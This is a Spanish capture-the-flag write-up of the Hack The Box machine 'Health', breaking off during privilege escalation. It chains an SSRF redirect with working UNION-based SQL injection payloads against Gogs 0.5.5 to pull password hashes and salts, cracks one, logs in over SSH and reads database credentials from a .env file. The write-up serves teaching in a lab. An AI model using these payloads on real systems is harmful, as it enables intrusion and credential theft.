Health
18 minutos de lectura
- SO: Linux
- Dificultad: Media
- Dirección IP: 10.10.11.176
- Fecha: 20 / 08 / 2022
Escaneo de puertos
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.176 -p 22,80,3000
Nmap scan report for 10.10.11.176
Host is up (0.062s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 32b7f4d42f45d330ee123b0367bbe631 (RSA)
| 256 86e15d8c2939acd7e815e649e235ed0c (ECDSA)
|_ 256 ef6bad64d5e45b3e667949f4ec4c239f (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HTTP Monitoring Tool
|_http-server-header: Apache/2.4.29 (Ubuntu)
3000/tcp filtered ppp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 25.24 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP). El puerto 3000 está filtrado.
Enumeración
Si vamos a http://10.10.11.176
, veremos la siguiente página web:
Hay una sola funcionalidad denominada webhook. Esta aplicación web nos permite monitorizar una URL dada para que se nos notifique cuando dicha URL esté disponible o no. Por ejemplo, podemos ingresar nuestra propia dirección IP como monitoredUrl
(http://10.10.17.44:8000
). La notificación llegará a otra URL como petición POST, usemos http://10.10.17.44
:
Y aquí tenemos el resultado:
$ python3 -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::ffff:10.10.11.176 - - [] "GET / HTTP/1.0" 200 -
$ nc -nlvp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.176.
Ncat: Connection from 10.10.11.176:49896.
POST / HTTP/1.1
Host: 10.10.17.44
Accept: */*
Content-type: application/json
Content-Length: 631
{"webhookUrl":"http:\/\/10.10.17.44","monitoredUrl":"http:\/\/10.10.17.44:8000","health":"up","body":"<!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.01\/\/EN\" \"http:\/\/www.w3.org\/TR\/html4\/strict.dtd\">\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text\/html; charset=utf-8\">\n<title>Directory listing for \/<\/title>\n<\/head>\n<body>\n<h1>Directory listing for \/<\/h1>\n<hr>\n<ul>\n<\/ul>\n<hr>\n<\/body>\n<\/html>\n","message":"HTTP\/1.0 200 OK","headers":{"Server":"SimpleHTTP\/0.6 Python\/3.10.9","Date":"","Content-type":"text\/html; charset=utf-8","Content-Length":"297"}}
Como se muestra arriba, obtuvimos una petición a http://10.10.17.44:8000
, y la respuesta se envía como petición POST a http://10.10.17.44
.
$ curl 127.0.0.1:8000
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
</ul>
<hr>
</body>
</html>
Server-Side Request Forgery
En este punto, podemos tratar de monitorizar una URL interna, como http://127.0.0.1
(ataque de SSRF):
No obstante, parece estar bloqueado:
En HackTricks Podemos encontrar algunos derivaciones para las cargas útiles de SSRF, pero ninguno de ellos funciona
En cambio, podemos emplear una redirección (302 Found
) de manera que el cliente web que mira la URL monitorizada sea redirigido a otra URL. De hecho, esto funciona y podemos probar cualquier URL interna.
Para este ataque, creé un script en Python que configura un servidor Flask con /monitored
y /payload
como rutas. La primera aplica la redirección y la segunda muestra el resultado de la respuesta HTTP. Adicionalmente, la configuración del webhook también se realiza en el script: ssrf.py
(explicación detallada aquí).
$ python3 ssrf.py
[!] Usage: ssrf.py <lhost> <monitored-url>
$ python3 ssrf.py 10.10.17.44 http://127.0.0.1
* Serving Flask app 'ssrf'
* Debug mode: off
[+] SSRF Response:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>HTTP Monitoring Tool</title>
<link href="http://127.0.0.1/css/app.css" rel="stylesheet" type="text/css"/>
</head>
<body>
<div class="container">
<div class="container" style="padding: 150px">
<h1 class="text-center">health.htb</h1>
<h4 class="text-center">Simple health checks for any URL</h4>
<hr>
<p>This is a free utility that allows you to remotely check whether an http service is available. It is useful if you want to check whether the server is correctly running or if there are any firewall issues blocking access.</p>
<div class="card-header">
Configure Webhook
</div>
<div class="mx-auto" style="width: 700px; padding: 20px 0 70px 0">
<form method="post" action="http://127.0.0.1/webhook">
<input type="hidden" name="_token" value="txc71t3qfgeSN3Ppwouhtvs4kNRtHqOfPsgfvmlF">
<div class="pt-2 form-group">
<label for="webhookUrl">Payload URL:</label>
<input type="text" class="form-control" name="webhookUrl"
placeholder="http://example.com/postreceive"/>
</div>
<div class="pt-2 form-group">
<label for="monitoredUrl">Monitored URL:</label>
<input type="text" class="form-control" name="monitoredUrl" placeholder="http://example.com"/>
</div>
<div class="pt-2 form-group">
<label for="frequency">Interval:</label>
<input type="text" class="form-control" name="frequency" placeholder="*/5 * * * *"/>
<small class="form-text text-muted">Please make use of cron syntax, see <a
href="https://crontab.guru/">here</a> for reference.</small>
</div>
<p class="pt-3">Under what circumstances should the webhook be sent?</p>
<select class="form-select" name="onlyError">
<option value="1" selected>Only when Service is not available</option>
<option value="0">Always</option>
</select>
<div class="pt-2">
<input type="submit" class="btn btn-primary float-end" name="action"
value="Create"/>
<input type="submit" class="btn btn-success float-end" style="margin-right: 2px" name="action"
value="Test"/>
</div>
</form>
</div>
<h4>About:</h4>
<p>This is a free utility that allows you to remotely check whether an http service is available. It is useful if you want to check whether the server is correctly running or if there are any firewall issues blocking access.</p>
<h4>For Developers:</h4>
<p>Once the webhook has been created, the webhook recipient is periodically informed about the status of the monitored application by means of a post request containing various details about the http service.</p>
<h4>Its simple:</h4>
<p>No authentication is required. Once you create a monitoring job, a UUID is generated which you can share
with
others to manage the job easily.</p>
</div>
</div>
<script src="http://127.0.0.1/js/app.js" type="text/js"></script>
<!-- Footer -->
...
<!-- Footer -->
</body>
</html>
Acceso a la máquina
En este punto, podemos ver qué servicio corre en el puerto 3000:
$ python3 ssrf.py 10.10.17.44 http://127.0.0.1:3000
* Serving Flask app 'ssrf'
* Debug mode: off
[+] SSRF Response:
<!DOCTYPE html>
<html>
<head data-suburl="">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge"/>
<meta name="author" content="Gogs - Go Git Service" />
<meta name="description" content="Gogs(Go Git Service) a painless self-hosted Git Service written in Go" />
<meta name="keywords" content="go, git, self-hosted, gogs">
<meta name="_csrf" content="WJDAc67LtowFFe9KpcEtGx_rfP86MTY3MzA3MTYzNDIzNTk3MzY3NQ==" />
<link rel="shortcut icon" href="/img/favicon.png" />
<link rel="stylesheet" href="//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css">
<script src="//code.jquery.com/jquery-1.11.1.min.js"></script>
<link rel="stylesheet" href="/ng/css/ui.css">
<link rel="stylesheet" href="/ng/css/gogs.css">
<link rel="stylesheet" href="/ng/css/tipsy.css">
<link rel="stylesheet" href="/ng/css/magnific-popup.css">
<link rel="stylesheet" href="/ng/fonts/octicons.css">
<link rel="stylesheet" href="/css/github.min.css">
<script src="/ng/js/lib/lib.js"></script>
<script src="/ng/js/lib/jquery.tipsy.js"></script>
<script src="/ng/js/lib/jquery.magnific-popup.min.js"></script>
<script src="/ng/js/utils/tabs.js"></script>
<script src="/ng/js/utils/preview.js"></script>
<script src="/ng/js/gogs.js"></script>
<title>Gogs: Go Git Service</title>
</head>
<body>
<div id="wrapper">
<noscript>Please enable JavaScript in your browser!</noscript>
<header id="header">
<ul class="menu menu-line container" id="header-nav">
<li class="right" id="header-nav-help">
<a target="_blank" href="http://gogs.io/docs"><i class="octicon octicon-info"></i> Help</a>
</li>
<li class="right" id="header-nav-explore">
<a href="/explore"><i class="octicon octicon-globe"></i> Explore</a>
</li>
</ul>
</header>
<div id="promo-wrapper">
<div class="container clear">
<div id="promo-logo" class="left">
<img src="/img/gogs-lg.png" alt="logo" />
</div>
<div id="promo-content">
<h1>Gogs</h1>
<h2>A painless self-hosted Git service written in Go</h2>
<form id="promo-form" action="/user/login" method="post">
<input type="hidden" name="_csrf" value="WJDAc67LtowFFe9KpcEtGx_rfP86MTY3MzA3MTYzNDIzNTk3MzY3NQ==">
<input class="ipt ipt-large" id="username" name="uname" type="text" placeholder="Username or E-mail"/>
<input class="ipt ipt-large" name="password" type="password" placeholder="Password"/>
<input name="from" type="hidden" value="home">
<button class="btn btn-black btn-large">Sign In</button>
<button class="btn btn-green btn-large" id="register-button">Register</button>
</form>
<div id="promo-social" class="social-buttons">
</div>
</div>
</div>
</div>
<div id="feature-wrapper">
<div class="container clear">
<div class="grid-1-2 left">
<i class="octicon octicon-flame"></i>
<b>Easy to install</b>
<p>Simply <a target="_blank" href="http://gogs.io/docs/installation/install_from_binary.html">run the binary</a> for your platform. Or ship Gogs with <a target="_blank" href="https://github.com/gogits/gogs/tree/master/dockerfiles">Docker</a> or <a target="_blank" href="https://github.com/geerlingguy/ansible-vagrant-examples/tree/master/gogs">Vagrant</a>, or get it <a target="_blank" href="http://gogs.io/docs/installation/install_from_packages.html">packaged</a>.</p>
</div>
<div class="grid-1-2 left">
<i class="octicon octicon-device-desktop"></i>
<b>Cross-platform</b>
<p>Gogs runs anywhere <a target="_blank" href="http://golang.org/">Go</a> can compile for: Windows, Mac OS X, Linux, ARM, etc. Choose the one you love!</p>
</div>
<div class="grid-1-2 left">
<i class="octicon octicon-rocket"></i>
<b>Lightweight</b>
<p>Gogs has low minimal requirements and can run on an inexpensive Raspberry Pi. Save your machine energy!</p>
</div>
<div class="grid-1-2 left">
<i class="octicon octicon-code"></i>
<b>Open Source</b>
<p>It's all on <a target="_blank" href="https://github.com/gogits/gogs/">GitHub</a>! Join us by contributing to make this project even better. Don't be shy to be a contributor!</p>
</div>
</div>
</div>
</div>
<footer id="footer">
<div class="container clear">
<p class="left" id="footer-rights">© 2014 GoGits · Version: 0.5.5.1010 Beta · Page: <strong>1ms</strong> ·
Template: <strong>1ms</strong></p>
<div class="right" id="footer-links">
<a target="_blank" href="https://github.com/gogits/gogs"><i class="fa fa-github-square"></i></a>
<a target="_blank" href="https://twitter.com/gogitservice"><i class="fa fa-twitter"></i></a>
<a target="_blank" href="https://plus.google.com/communities/115599856376145964459"><i class="fa fa-google-plus"></i></a>
<a target="_blank" href="http://weibo.com/gogschina"><i class="fa fa-weibo"></i></a>
<div id="footer-lang" class="inline drop drop-top">Language
<div class="drop-down">
<ul class="menu menu-vertical switching-list">
<li><a href="#">English</a></li>
<li><a href="/?lang=zh-CN">简体中文</a></li>
<li><a href="/?lang=zh-HK">繁體中文</a></li>
<li><a href="/?lang=de-DE">Deutsch</a></li>
<li><a href="/?lang=fr-CA">Français</a></li>
<li><a href="/?lang=nl-NL">Nederlands</a></li>
</ul>
</div>
</div>
<a target="_blank" href="http://gogs.io">Website</a>
<span class="version">Go1.3.2</span>
</div>
</div>
</footer>
</body>
</html>
Se trata de Gogs versión 0.5.5.1010 Beta. Podemos encontrar algunos exploits para Gogs en searchsploit
:
$ searchsploit gogs
------------------------------------------ ----------------------------
Exploit Title | Path
------------------------------------------ ----------------------------
Gogs - 'label' SQL Injection | multiple/webapps/35237.txt
Gogs - 'users'/'repos' '?q' SQL Injection | multiple/webapps/35238.txt
------------------------------------------ ----------------------------
Shellcodes: No Results
Configuración de Gogs
Ambos exploits son ataques de inyección SQL, aunque el segundo exploit parece más prometedor debido a que el resultado de la consulta se muestra en la respuesta (Union-based).
Como Gogs es open-source, podemos descargar la versión vulnerable y encontrar un payload adecuado.
$ wget -q https://github.com/gogs/gogs/releases/download/v0.5.5/linux_amd64.zip
$ unzip linux_amd64.zip
Archive: linux_amd64.zip
creating: gogs/
...
$ cd gogs
$ ./gogs
NAME:
Gogs - Go Git Service
USAGE:
Gogs [global options] command [command options] [arguments...]
VERSION:
0.5.5.1010 Beta
COMMANDS:
web Start Gogs web server
serv This command should only be called by SSH shell
update This command should only be called by SSH shell
fix This command for upgrade from old version
dump Dump Gogs files and database
cert Generate self-signed certificate
help, h Shows a list of commands or help for one command
GLOBAL OPTIONS:
--help, -h show help
--version, -v print the version
En primer lugar, hay que ir a /install
para empezar:
$ ./gogs web
[W] No custom 'conf/app.ini' found, please go to '/install'
[T] Custom path: ./gogs/custom
[T] Log path: ./gogs/log
[I] Gogs: Go Git Service 0.5.5.1010 Beta
[I] Log Mode: Console(Trace)
[I] Redis Enabled
[I] Memcache Enabled
[I] Cache Service Enabled
[I] Session Service Enabled
[I] SQLite3 Enabled
[I] Run Mode: Development
[I] Listen: http://0.0.0.0:3000
Aquí podemos poner una configuración cualquiera:
Veremos algo como lo siguiente en el registro del servidor:
[T] Custom path: ./gogs/custom
[T] Log path: ./gogs/log
[I] Gogs: Go Git Service 0.5.5.1010 Beta
[I] Log Mode: File(Trace)
[I] Redis Enabled
[I] Memcache Enabled
[I] Cache Service Enabled
[I] Session Service Enabled
[I] Git user.name and user.email set to Gogs <gogitservice@gmail.com>
[I] SQLite3 Enabled
[I] Run Mode: Production
[I] First-time run install finished!
[Macaron] Completed /install 302 Found in 98.513698ms
[Macaron] Started GET /user/login for 127.0.0.1
[Macaron] Completed /user/login 200 OK in 6.322729ms
Explotación de Gogs
Como estaremos explotando un SQLi, vamos a ver qué campos nos interesan:
$ sqlite3 data/gogs.db
SQLite version 3.31.1
Enter ".help" for usage hints.
sqlite> .tables
access hook_task milestone public_key team_user
action issue mirror release update_task
attachment issue_user notice repository user
comment label oauth2 star watch
follow login_source org_user team webhook
sqlite> .header on
sqlite> select * from user;
id|lower_name|name|full_name|email|passwd|login_type|login_source|login_name|type|num_followers|num_followings|num_stars|num_repos|avatar|avatar_email|location|website|is_active|is_admin|rands|salt|created|updated|description|num_teams|num_members
1|rocky|rocky||rocky@rocky.com|e901286315921f96991d121dbd0e202fec6fb94715e8def4a4e6ff7f54e708c9634e0c21228470f8fb7847483eafbf077f5a|0|0||0|0|0|0|0|1d9f758b9a472ea82604828e5fa387a6|rocky@rocky.com|||1|1|Bzo2RqEmGh|ZGZFz0J50V|yyyy-mm-dd hh:mm:ss|yyyy-mm-dd hh:mm:ss||0|0
Los campos interesantes son user.name
, user.passwd
y user.salt
.
La vulnerabilidad de SQLi existe en /api/v1/repos/search
y /api/v1/users/search
, según www.exploit-db.com. Aquí tenemos una prueba de concepto de que /api/v1/users/search
es vulnerable:
$ curl "http://127.0.0.1:3000/api/v1/users/search?q='"
{
"error": "unrecognized token: \"') LIMIT 10\"",
"ok": false
}
En www.exploit-db.com aparece este payload:
Proof of Concept
================
Request:
http://www.example.com/api/v1/users/search?q='/**/and/**/false)/**/union/**/select/**/null,null,@@version,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/from/**/mysql.db/**/where/**/('%25'%3D'
Response:
{"data":[{"username":"5.5.40-0ubuntu0.14.04.1","avatar":"//1.gravatar.com/avatar/"}],"ok":true}
Tenemos que cambiar un poco la sintaxis porque el servidor usa SQLite3 en lugar de MySQL (en local). En resumen, podemos usar estas peticiones para obtener los campos que queremos:
$ curl -s $(echo "http://127.0.0.1:3000/api/v1/users/search?q=%27 AND 0) UNION ALL SELECT null,null,name,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM user WHERE (%27%25%27%3d%27" | sed 's/ /\/**\//g')
{
"data": [
{
"username": "rocky",
"avatar": "//1.gravatar.com/avatar/"
}
],
"ok": true
}
$ curl -s $(echo "http://127.0.0.1:3000/api/v1/users/search?q=%27 AND 0) UNION ALL SELECT null,null,passwd,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM user WHERE (%27%25%27%3d%27" | sed 's/ /\/**\//g')
{
"data": [
{
"username": "e901286315921f96991d121dbd0e202fec6fb94715e8def4a4e6ff7f54e708c9634e0c21228470f8fb7847483eafbf077f5a",
"avatar": "//1.gravatar.com/avatar/"
}
],
"ok": true
}
$ curl -s $(echo "http://127.0.0.1:3000/api/v1/users/search?q=%27 AND 0) UNION ALL SELECT null,null,salt,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM user WHERE (%27%25%27%3d%27" | sed 's/ /\/**\//g')
{
"data": [
{
"username": "ZGZFz0J50V",
"avatar": "//1.gravatar.com/avatar/"
}
],
"ok": true
}
Como las anteriores son peticiones GET, podemos emplear el ataque de SSRF para redirigir al cliente web a http://127.0.0.1:3000/api/v1/users/search?q=...
y obtener los valores de la base de datos remota:
$ python3 ssrf.py 10.10.17.44 $(echo "http://127.0.0.1:3000/api/v1/users/search?q=%27 AND 0) UNION ALL SELECT null,null,name,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM user WHERE (%27%25%27%3d%27" | sed 's/ /\/**\//g')
* Serving Flask app 'ssrf'
* Debug mode: off
[+] SSRF Response:
{"data":[{"username":"susanne","avatar":"//1.gravatar.com/avatar/"}],"ok":true}
$ python3 ssrf.py 10.10.17.44 $(echo "http://127.0.0.1:3000/api/v1/users/search?q=%27 AND 0) UNION ALL SELECT null,null,passwd,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM user WHERE (%27%25%27%3d%27" | sed 's/ /\/**\//g')
* Serving Flask app 'ssrf'
* Debug mode: off
[+] SSRF Response:
{"data":[{"username":"66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37","avatar":"//1.gravatar.com/avatar/"}],"ok":true}
$ python3 ssrf.py 10.10.17.44 $(echo "http://127.0.0.1:3000/api/v1/users/search?q=%27 AND 0) UNION ALL SELECT null,null,salt,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM user WHERE (%27%25%27%3d%27" | sed 's/ /\/**\//g')
* Serving Flask app 'ssrf'
* Debug mode: off
[+] SSRF Response:
{"data":[{"username":"sO3XIbeW14","avatar":"//1.gravatar.com/avatar/"}],"ok":true}
Rompiendo el hash
En este punto, podemos tratar de romper el hash. Para ello, vamos a usar GitHub para encontrar el método:
Como Gogs está programado en Go, vamos a escribir otro programa en Go llamado crack.go
con las mismas funciones para romper el hash (explicación detallada aquí):
$ go mod init crack
go: creating new go.mod: module crack
go: to add module requirements and sums:
go mod tidy
$ go mod tidy
go: finding module for package golang.org/x/crypto/pbkdf2
go: found golang.org/x/crypto/pbkdf2 in golang.org/x/crypto v0.5.0
$ go run crack.go
Usage: go run crack.go <wordlist> <hash> <salt>
exit status 1
$ go run crack.go $WORDLISTS/rockyou.txt 66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37 sO3XIbeW14
[+] Cracked: february15
Y esta contraseña (february15
) se reutiliza en SSH por el usuario sussane
:
$ ssh susanne@10.10.11.176
susanne@10.10.11.176's password:
susanne@health:~$ cat user.txt
e7a9065c5c30e2f82c57de556c798eed
Enumeración del sistema
Después de la enumeración de permisos básica, podemos echar un vistazo al código fuente del servidor web:
susanne@health:~$ cd /var/www/html
susanne@health:/var/www/html$ ll
total 412
drwxr-xr-x 14 www-data www-data 4096 Jul 26 10:12 ./
drwxr-xr-x 3 www-data www-data 4096 May 17 2022 ../
drwxrwxr-x 9 www-data www-data 4096 Jul 26 10:12 app/
-rwxr-xr-x 1 www-data www-data 1686 May 17 2022 artisan*
drwxrwxr-x 3 www-data www-data 4096 Jul 26 10:12 bootstrap/
-rw-r--r-- 1 www-data www-data 1775 May 17 2022 composer.json
-rw-r--r-- 1 www-data www-data 292429 May 17 2022 composer.lock
drwxrwxr-x 2 www-data www-data 4096 May 17 2022 config/
drwxrwxr-x 5 www-data www-data 4096 May 17 2022 database/
-rw-r--r-- 1 www-data www-data 258 May 17 2022 .editorconfig
-rw-r--r-- 1 www-data www-data 978 May 17 2022 .env
-rw-r--r-- 1 www-data www-data 899 May 17 2022 .env.example
drwxrwxr-x 8 www-data www-data 4096 Jul 26 10:12 .git/
-rw-r--r-- 1 www-data www-data 152 May 17 2022 .gitattributes
-rw-r--r-- 1 www-data www-data 207 May 17 2022 .gitignore
drwxrwxr-x 507 www-data www-data 20480 Jul 26 10:12 node_modules/
-rw-r--r-- 1 www-data www-data 643 May 17 2022 package.json
-rw-r--r-- 1 www-data www-data 1202 May 17 2022 phpunit.xml
drwxrwxr-x 4 www-data www-data 4096 Jul 26 10:12 public/
-rw-r--r-- 1 www-data www-data 3958 May 17 2022 README.md
drwxrwxr-x 7 www-data www-data 4096 Jul 26 10:12 resources/
drwxrwxr-x 2 www-data www-data 4096 May 17 2022 routes/
-rw-r--r-- 1 www-data www-data 569 May 17 2022 server.php
drwxrwxr-x 5 www-data www-data 4096 May 17 2022 storage/
-rw-r--r-- 1 www-data www-data 194 May 17 2022 .styleci.yml
drwxrwxr-x 4 www-data www-data 4096 May 17 2022 tests/
drwxrwxr-x 44 www-data www-data 4096 Jul 26 10:12 vendor/
-rw-r--r-- 1 www-data www-data 556 May 17 2022 webpack.mix.js
En .env
encontramos las credenciales de MySQL (laravel:MYsql_strongestpass@2014+
):
susanne@health:/var/www/html$ cat .env
APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:x12LE6h+TU6x4gNKZIyBOmthalsPLPLv/Bf/MJfGbzY=
APP_DEBUG=true
APP_URL=http://localhost
LOG_CHANNEL=stack
LOG_DEPRECATIONS_CHANNEL=null
LOG_LEVEL=debug
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=laravel
DB_USERNAME=laravel
DB_PASSWORD=MYsql_strongestpass@2014+
BROADCAST_DRIVER=log
CACHE_DRIVER=file
FILESYSTEM_DRIVER=local
QUEUE_CONNECTION=sync
SESSION_DRIVER=file
SESSION_LIFETIME=120
MEMCACHED_HOST=127.0.0.1
REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379
MAIL_MAILER=smtp
MAIL_HOST=mailhog
MAIL_PORT=1025
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
MAIL_FROM_ADDRESS=null
MAIL_FROM_NAME="${APP_NAME}"
AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
AWS_DEFAULT_REGION=us-east-1
AWS_BUCKET=
AWS_USE_PATH_STYLE_ENDPOINT=false
PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1
MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"
Análisis de código fuente
Esto es routes/web.php
:
susanne@health:/var/www/html$ cat routes/web.php
<?php
use Illuminate\Support\Facades\Route;
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
Route::get('/', function () {
return view('index');
});
Route::get('/webhook/{id}', function ($id) {
$webhook = \App\Models\Task::find($id);
error_log($webhook);
if ($webhook) {
return view("view", ["webhook" => $webhook]);
} else {
return redirect('/')->with('error', 'Webhook was not found');
}
})->whereUuid('id');
Route::post("/webhook", [\App\Http\Controllers\TaskController::class, 'create'])->name('webhook');
Solamente hay una ruta (/webhook
), controlada por TaskController
:
susanne@health:/var/www/html$ cat app/Http/Controllers/TaskController.php
<?php
namespace App\Http\Controllers;
use App\Models\Task;
use App\Rules\SafeUrlRule;
use Illuminate\Http\Request;
class TaskController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function index()
{
return view('create');
}
/**
* Show the form for creating a new resource.
*
* @return \Illuminate\Http\Response
*/
public function create(Request $request)
{
$action = $request->action;
if ($action === "Delete") {
$id = $request->id;
Task::destroy($id);
return redirect("/")->with('message', 'The webhook was deleted!');
}
$validatedData = $request->validate([
'webhookUrl' => ['required', 'url', new SafeUrlRule()],
'monitoredUrl' => ['required', 'url', new SafeUrlRule()],
'frequency' => 'required',
'onlyError' => 'required|boolean'
]);
if ($action === "Test") {
$res = HealthChecker::check($request->webhookUrl, $request->monitoredUrl, $request->onlyError);
if (isset($res["health"]) && $res["health"] === "up") {
return redirect("/")->with('message', 'The host is healthy!');
} else {
return redirect("/")->with('error', 'The host is not healthy!');
}
} else {
$show = Task::create($validatedData);
return redirect('/webhook/' . $show->id)->with('message', 'Webhook is successfully created');
}
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function show($id)
{
//
}
}
Hay una regla llamada SafeUrlRule
:
susanne@health:/var/www/html$ cat app/Rules/SafeUrlRule.php
<?php
namespace App\Rules;
use Illuminate\Contracts\Validation\Rule;
class SafeUrlRule implements Rule
{
private $msg = '';
/**
* Create a new rule instance.
*
* @return void
*/
public function __construct()
{
//
}
/**
* Determine if the validation rule passes.
*
* @param string $attribute
* @param mixed $value
* @return bool
*/
public function passes($attribute, $value)
{
$host = parse_url($value, PHP_URL_HOST);
$ip = ip2long(gethostbyname($host));
if (ip2long('127.0.0.0') >> 24 === ($ip >> 24) or
ip2long('192.168.0.0') >> 16 == ($ip >> 16) or
ip2long('10.10.11.0') >> 8 == ($ip >> 8) or
ip2long('10.129.0.0') >> 16 == ($ip >> 16) or
0 == ($ip >> 24)) {
$this->msg = "The host given in the $attribute field is not allowed";
return false;
}
return true;
}
/**
* Get the validation error message.
*
* @return string
*/
public function message()
{
return $this->msg;
}
}
La función anterior filtra algunos payloads de SSRF. Sin embargo, la funcionalidad de webhook funciona de la siguiente manera: se guarda la tarea en la base de datos, luego se realiza la tarea, y finalmente se elimina la tarea de la base de datos.
El controlador que realiza las peticiones es HealthChecker
:
susanne@health:/var/www/html$ cat app/Http/Controllers/HealthChecker.php
<?php
namespace App\Http\Controllers;
class HealthChecker
{
public static function check($webhookUrl, $monitoredUrl, $onlyError = false)
{
$json = [];
$json['webhookUrl'] = $webhookUrl;
$json['monitoredUrl'] = $monitoredUrl;
$res = @file_get_contents($monitoredUrl, false);
if ($res) {
if ($onlyError) {
return $json;
}
$json['health'] = "up";
$json['body'] = $res;
if (isset($http_response_header)) {
$headers = [];
$json['message'] = $http_response_header[0];
for ($i = 0; $i <= count($http_response_header) - 1; $i++) {
$split = explode(':', $http_response_header[$i], 2);
if (count($split) == 2) {
$headers[trim($split[0])] = trim($split[1]);
} else {
error_log("invalid header pair: $http_response_header[$i]\n");
}
}
$json['headers'] = $headers;
}
} else {
$json['health'] = "down";
}
$content = json_encode($json);
// send
$curl = curl_init($webhookUrl);
curl_setopt($curl, CURLOPT_HEADER, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_HTTPHEADER,
array("Content-type: application/json"));
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, $content);
curl_exec($curl);
curl_close($curl);
return $json;
}
}
Está empleando file_get_contents
, por lo que podemos leer archivos locales. Para ello, tenemos que configurar un webhook y rápidamente cambiar el campo monitoredUrl
a una ruta local, de forma que recibamos el contenido del archivo local.
Escalada de privilegios
Vamos a conectarnos a MySQL:
susanne@health:/var/www/html$ mysql --user=laravel --password=MYsql_strongestpass@2014+
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 3802
Server version: 5.7.39-0ubuntu0.18.04.2 (Ubuntu)
Copyright (c) 2000, 2022, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| laravel |
+--------------------+
2 rows in set (0.01 sec)
mysql> use laravel;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+------------------------+
| Tables_in_laravel |
+------------------------+
| failed_jobs |
| migrations |
| password_resets |
| personal_access_tokens |
| tasks |
| users |
+------------------------+
6 rows in set (0.00 sec)
mysql> describe tasks;
+--------------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+--------------+--------------+------+-----+---------+-------+
| id | char(36) | NO | PRI | NULL | |
| webhookUrl | varchar(255) | NO | | NULL | |
| onlyError | tinyint(1) | NO | | NULL | |
| monitoredUrl | varchar(255) | NO | | NULL | |
| frequency | varchar(255) | NO | | NULL | |
| created_at | timestamp | YES | | NULL | |
| updated_at | timestamp | YES | | NULL | |
+--------------+--------------+------+-----+---------+-------+
7 rows in set (0.00 sec)
mysql> select * from tasks;
Empty set (0.00 sec)
Si creamos una tarea con la aplicación web, la encontraremos después en la base de datos:
mysql> select * from tasks;
+--------------------------------------+--------------------+-----------+--------------------+-----------+---------------------+---------------------+
| id | webhookUrl | onlyError | monitoredUrl | frequency | created_at | updated_at |
+--------------------------------------+--------------------+-----------+--------------------+-----------+---------------------+---------------------+
